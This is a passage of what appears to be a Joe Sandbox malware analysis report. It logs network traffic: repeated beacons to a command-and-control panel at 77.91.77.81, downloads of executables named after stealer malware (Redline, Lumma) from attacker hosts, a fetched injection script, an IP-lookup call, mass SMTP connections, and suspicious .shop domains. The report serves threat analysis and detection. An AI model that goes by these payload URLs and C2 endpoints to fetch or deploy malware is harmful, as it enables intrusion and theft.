Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 46.23.69.44 46.23.69.44

Source: unknown

DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.11:49793 -> 142.250.150.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49794 -> 159.8.122.149:587
Source: global traffic	TCP traffic: 192.168.2.11:49795 -> 195.130.132.10:587
Source: global traffic	TCP traffic: 192.168.2.11:49796 -> 194.106.180.18:587
Source: global traffic	TCP traffic: 192.168.2.11:49797 -> 104.22.65.144:587
Source: global traffic	TCP traffic: 192.168.2.11:49798 -> 187.85.164.166:587
Source: global traffic	TCP traffic: 192.168.2.11:49799 -> 168.0.132.203:587
Source: global traffic	TCP traffic: 192.168.2.11:49800 -> 142.251.9.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49807 -> 120.50.131.112:587
Source: global traffic	TCP traffic: 192.168.2.11:49808 -> 13.248.158.7:587
Source: global traffic	TCP traffic: 192.168.2.11:49810 -> 64.136.52.50:587
Source: global traffic	TCP traffic: 192.168.2.11:49811 -> 117.50.20.113:587
Source: global traffic	TCP traffic: 192.168.2.11:49812 -> 194.153.145.104:587
Source: global traffic	TCP traffic: 192.168.2.11:49816 -> 40.85.218.2:587
Source: global traffic	TCP traffic: 192.168.2.11:49818 -> 2.207.150.234:587
Source: global traffic	TCP traffic: 192.168.2.11:49821 -> 106.11.172.9:587
Source: global traffic	TCP traffic: 192.168.2.11:49822 -> 81.2.195.204:587
Source: global traffic	TCP traffic: 192.168.2.11:49823 -> 84.2.43.67:587
Source: global traffic	TCP traffic: 192.168.2.11:49824 -> 193.137.200.184:587
Source: global traffic	TCP traffic: 192.168.2.11:49828 -> 134.122.66.149:587
Source: global traffic	TCP traffic: 192.168.2.11:49834 -> 74.125.71.27:587
Source: global traffic	TCP traffic: 192.168.2.11:49835 -> 94.177.209.28:587
Source: global traffic	TCP traffic: 192.168.2.11:49840 -> 89.39.182.172:587
Source: global traffic	TCP traffic: 192.168.2.11:49841 -> 46.23.69.44:587
Source: global traffic	TCP traffic: 192.168.2.11:49842 -> 185.164.14.70:587
Source: global traffic	TCP traffic: 192.168.2.11:49843 -> 136.159.19.168:587
Source: global traffic	TCP traffic: 192.168.2.11:49844 -> 194.19.134.85:587
Source: global traffic	TCP traffic: 192.168.2.11:49845 -> 103.224.182.246:587
Source: global traffic	TCP traffic: 192.168.2.11:49850 -> 194.158.122.55:587
Source: global traffic	TCP traffic: 192.168.2.11:49851 -> 213.209.1.145:587
Source: global traffic	TCP traffic: 192.168.2.11:49852 -> 188.114.96.3:587
Source: global traffic	TCP traffic: 192.168.2.11:49854 -> 142.250.153.26:587
Source: global traffic	TCP traffic: 192.168.2.11:49856 -> 62.149.188.200:587
Source: global traffic	TCP traffic: 192.168.2.11:49857 -> 188.128.207.134:587
Source: global traffic	TCP traffic: 192.168.2.11:49863 -> 216.23.176.68:587
Source: global traffic	TCP traffic: 192.168.2.11:49864 -> 3.64.163.50:587
Source: global traffic	TCP traffic: 192.168.2.11:49865 -> 45.178.224.186:587
Source: global traffic	TCP traffic: 192.168.2.11:49866 -> 209.59.172.32:587
Source: global traffic	TCP traffic: 192.168.2.11:49867 -> 213.209.1.147:587
Source: global traffic	TCP traffic: 192.168.2.11:49869 -> 104.18.3.81:587
Source: global traffic	TCP traffic: 192.168.2.11:49872 -> 49.213.103.199:587
Source: global traffic	TCP traffic: 192.168.2.11:49876 -> 92.249.45.70:587
Source: global traffic	TCP traffic: 192.168.2.11:49877 -> 209.172.128.24:587
Source: global traffic	TCP traffic: 192.168.2.11:49885 -> 217.6.164.11:587
Source: global traffic	TCP traffic: 192.168.2.11:49886 -> 139.134.5.153:587
Source: global traffic	TCP traffic: 192.168.2.11:49887 -> 65.20.63.172:587
Source: global traffic	TCP traffic: 192.168.2.11:49888 -> 52.117.251.242:587
Source: global traffic	TCP traffic: 192.168.2.11:49890 -> 72.52.178.23:587
Source: global traffic	TCP traffic: 192.168.2.11:49894 -> 68.178.150.105:587
Source: global traffic	TCP traffic: 192.168.2.11:49895 -> 90.127.113.58:587
Source: global traffic	TCP traffic: 192.168.2.11:49899 -> 76.223.67.189:587
Source: global traffic	TCP traffic: 192.168.2.11:49902 -> 185.60.37.18:587
Source: global traffic	TCP traffic: 192.168.2.11:49906 -> 90.216.128.5:587
Source: global traffic	TCP traffic: 192.168.2.11:49907 -> 173.203.187.2:587
Source: global traffic	TCP traffic: 192.168.2.11:49908 -> 187.6.211.40:587
Source: global traffic	TCP traffic: 192.168.2.11:55872 -> 132.210.7.145:587
Source: global traffic	TCP traffic: 192.168.2.11:55874 -> 198.58.116.74:587
Source: global traffic	TCP traffic: 192.168.2.11:55875 -> 52.101.68.27:587
Source: global traffic	TCP traffic: 192.168.2.11:55881 -> 194.165.29.35:587
Source: global traffic	TCP traffic: 192.168.2.11:55882 -> 193.81.82.81:587
Source: global traffic	TCP traffic: 192.168.2.11:55889 -> 162.241.203.166:587
Source: global traffic	TCP traffic: 192.168.2.11:55890 -> 52.147.208.244:587
Source: global traffic	TCP traffic: 192.168.2.11:55891 -> 82.165.178.113:587
Source: global traffic	TCP traffic: 192.168.2.11:55892 -> 199.59.243.225:587
Source: global traffic	TCP traffic: 192.168.2.11:55893 -> 13.248.169.48:587
Source: global traffic	TCP traffic: 192.168.2.11:55895 -> 193.74.71.25:587
Source: global traffic	TCP traffic: 192.168.2.11:55905 -> 163.43.104.165:587
Source: global traffic	TCP traffic: 192.168.2.11:55907 -> 104.131.176.42:587
Source: global traffic	TCP traffic: 192.168.2.11:55909 -> 185.138.56.194:587
Source: global traffic	TCP traffic: 192.168.2.11:55910 -> 52.101.41.24:587
Source: global traffic	TCP traffic: 192.168.2.11:55911 -> 142.250.153.27:587
Source: global traffic	TCP traffic: 192.168.2.11:55915 -> 217.72.192.67:587
Source: global traffic	TCP traffic: 192.168.2.11:55916 -> 99.83.253.192:587
Source: global traffic	TCP traffic: 192.168.2.11:55917 -> 191.252.112.195:587
Source: global traffic	TCP traffic: 192.168.2.11:55920 -> 132.226.58.96:587
Source: global traffic	TCP traffic: 192.168.2.11:55924 -> 211.29.132.105:587
Source: global traffic	TCP traffic: 192.168.2.11:55927 -> 203.4.188.28:587
Source: global traffic	TCP traffic: 192.168.2.11:55931 -> 104.18.28.62:587
Source: global traffic	TCP traffic: 192.168.2.11:55938 -> 67.219.246.213:587
Source: global traffic	TCP traffic: 192.168.2.11:55942 -> 52.101.73.28:587
Source: global traffic	TCP traffic: 192.168.2.11:55943 -> 193.234.251.123:587
Source: global traffic	TCP traffic: 192.168.2.11:55948 -> 94.100.132.8:587
Source: global traffic	TCP traffic: 192.168.2.11:55950 -> 191.252.112.194:587
Source: global traffic	TCP traffic: 192.168.2.11:55951 -> 104.37.34.230:587
Source: global traffic	TCP traffic: 192.168.2.11:55955 -> 199.85.66.2:587
Source: global traffic	TCP traffic: 192.168.2.11:55956 -> 191.6.216.38:587
Source: global traffic	TCP traffic: 192.168.2.11:55958 -> 52.101.68.29:587
Source: global traffic	TCP traffic: 192.168.2.11:55961 -> 18.119.154.66:587
Source: global traffic	TCP traffic: 192.168.2.11:55962 -> 206.62.174.243:587
Source: global traffic	TCP traffic: 192.168.2.11:55964 -> 79.143.126.202:587
Source: global traffic	TCP traffic: 192.168.2.11:55966 -> 217.160.0.220:587
Source: global traffic	TCP traffic: 192.168.2.11:55969 -> 74.125.200.26:587
Source: global traffic	TCP traffic: 192.168.2.11:50632 -> 185.164.14.124:587
Source: global traffic	TCP traffic: 192.168.2.11:50671 -> 81.169.145.97:587

Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.47
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_0089BD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

2_2_0089BD30

Source: global traffic	HTTP traffic detected: GET /justforMonster/injection/main/injection.js HTTP/1.1Host: raw.githubusercontent.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: GET /lend/gold.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/judit.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/redline123123.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/upd.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/lumma123.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/lrthijawd.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /lend/services64.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6

Source: global traffic	DNS traffic detected: DNS query: detailbaconroollyws.shop
Source: global traffic	DNS traffic detected: DNS query: horsedwollfedrwos.shop
Source: global traffic	DNS traffic detected: DNS query: patternapplauderw.shop
Source: global traffic	DNS traffic detected: DNS query: understanndtytonyguw.shop
Source: global traffic	DNS traffic detected: DNS query: considerrycurrentyws.shop
Source: global traffic	DNS traffic detected: DNS query: messtimetabledkolvk.shop
Source: global traffic	DNS traffic detected: DNS query: deprivedrinkyfaiir.shop
